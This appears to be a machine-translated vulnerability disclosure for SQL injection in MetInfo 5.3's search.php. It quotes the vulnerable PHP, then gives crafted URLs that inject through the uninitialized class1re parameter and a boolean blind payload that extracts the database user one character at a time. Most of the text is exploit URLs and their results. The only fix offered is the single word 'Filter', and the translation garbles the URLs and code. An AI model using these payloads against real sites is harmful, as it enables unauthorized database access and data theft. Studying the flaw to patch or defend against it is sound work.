MetInfo5.3 latest SQL injection version (some data can be obtained)

MetInfo5.3 latest SQL injection version (some data can be obtained)

MetInfo5.3 latest SQL Injection

Search. php:
 

$module=intval($module);    if($class1)$module=0;    if(intval($module)){      $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' ";}else{$class1_info=$class_list[$class1];if(!$class1_info)okinfo('../',$pagelang[noid]);$class1sql=" class1='$class1' ";$class2sql=" class2='$class2' ";$class3sql=" class3='$class3' ";if($class1&&!$class2&&!$class3){foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){if($val['releclass']==$class1){$class1re.=" or class1='$val[id]' ";}}if($class1re){$class1sql='('.$class1sql.$class1re.')';}}if($class_list[$class2]['releclass']){$class1sql=" class1='$class2' ";$class2sql=" class2='$class3' ";$class3sql="";}$serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql ";

Because $ class1re is not initialized


 

foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){if($val['releclass']==$class1){$class1re.=" or class1='$val[id]' ";}}

This logic is enough:



Sending url:

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 1 & searchword = 1 & lang = cn & class1re = xxxxxx



The capture SQL statement is:







14: 39 select count (*) FROM met_news where lang = 'cn' and (recycle = '0' or recycle = '-1 ') and displaytype = '1' and (class1 = '2' xxxxxx) and title like '% 100'





Then construct



Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 1 -- sd





The page is:
 

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 2 -- sd


 

Payload:


Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = $ NUM, 1, 0) -- sd

Add $ NUM Based on page changes

To guess sensitive information.

Because I am root here

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 114,1, 0) -- sd

No xxxxxx in the page

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 1141,1, 0) -- sd

The page contains xxxxx

Solution:

Filter